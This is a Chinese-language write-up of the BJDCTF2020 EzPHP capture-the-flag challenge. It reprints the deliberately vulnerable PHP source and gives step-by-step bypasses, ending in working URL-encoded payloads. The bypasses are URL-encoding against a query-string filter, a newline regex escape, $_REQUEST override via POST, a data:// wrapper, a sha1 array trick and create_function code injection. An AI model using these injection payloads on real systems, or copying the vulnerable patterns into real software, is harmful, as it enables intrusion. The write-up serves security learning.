[BJDCTF2020]EzPHP

打开之后是卡巴斯基的网络威胁实时地图，右键不能查看源码 F12打开调试器，查看元素

 

base32解码，得到了一个 页面，打开之后是源码，

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

看源码这里需要绕过php里面的各种函数

1、$_SERVER['QUERY_STRING']的绕过

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

这里用正则过滤了必须要传的参数，这里可以用URL编码绕过，$_SERVER['QUERY_STRING']不会进行urldecode，$_GET[]会，因此使用url编码绕过即可。$_SERVER['QUERY_STRING']就是url穿的值？后面的所有内容。

2、%0a绕过preg_match

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

在这里debu要等与auqa_is_cute又要绕过匹配，传debu=aqua_is_cute%0a，即可绕过，但是我们还需要绕过第一步，所以这里需要对其进行url编码，

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

3、绕过$_REQUEST值判断

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

这里是想限制我们传入的值不能传入字母，但是我们传入的都是GET请求，但是$_REQUEST除了接收GET请求，还会接收POST、COOKIE等，当我们GET传入一个a，POST也传入一个a时，POST的优先级大。因此我们只需要GET传入的参数，POST再传入一遍即可绕过。

这个取决于php.ini中的variables_order的设置，默认为：

variables_order = "GPCS"

4、绕过文件内容读取的比较

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

file_get_contents函数，用data伪协议与php://input，但因为我们post传入的其他内容，所以这里使用data伪协议即可

data://text/plain,debu_debu_aqua
data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

5、绕过sha1函数

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

类比md5()的绕过，这里用了强比较，用科学计数法是不行的，

这里可以利用sha1函数无法处理数组的特性，传入数组sha1函数会返回false，两个false一对比就是true。
这里前半部分的payload

/1nD3x.php?debu=aqua_is_cute&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2
/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

file=1&debu=1

6、主要考点:create_function()代码注入

create_function()函数，其实就是匿名函数。

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

这里的$code和$arg都是通过extract($_GET["flag"])赋值的，最终会以一个$code作为一个函数名，充当一个参数，这里需要利用create_function()。

因为$code与$arg都是可控的，可以通过代码注入的方式闭合}，再在最后注释掉原有代码，

我们注意到再 $code('', $args)前面就是 flag.php的包含，盲猜flag是以变量的形式存在于flag.php里面的，可以尝试将里面的变量打印出来，

get_defined_vars() 可以获取由所有已定义变量组成的数组，

var_dump(get_defined_vars())可以打印出这个数组

$code('', $args);

create_function(' ', '}var_dump(get_defined_vars());//')

function ft(){

        }var_dump(get_defined_vars());//}

payload

flag['code']=create_function&flag['arg']=}var_dump(get_defined_vars());//

url编码后

%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//

最终payload

编码前

?debu=aqua_is_cute&file=data://text/plain,debu_debu_aqua&shana[]=123&passwd[]=12&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

编码后

/?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=123&%70%61%73%73%77%64[]=12&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//

post

debu=&file=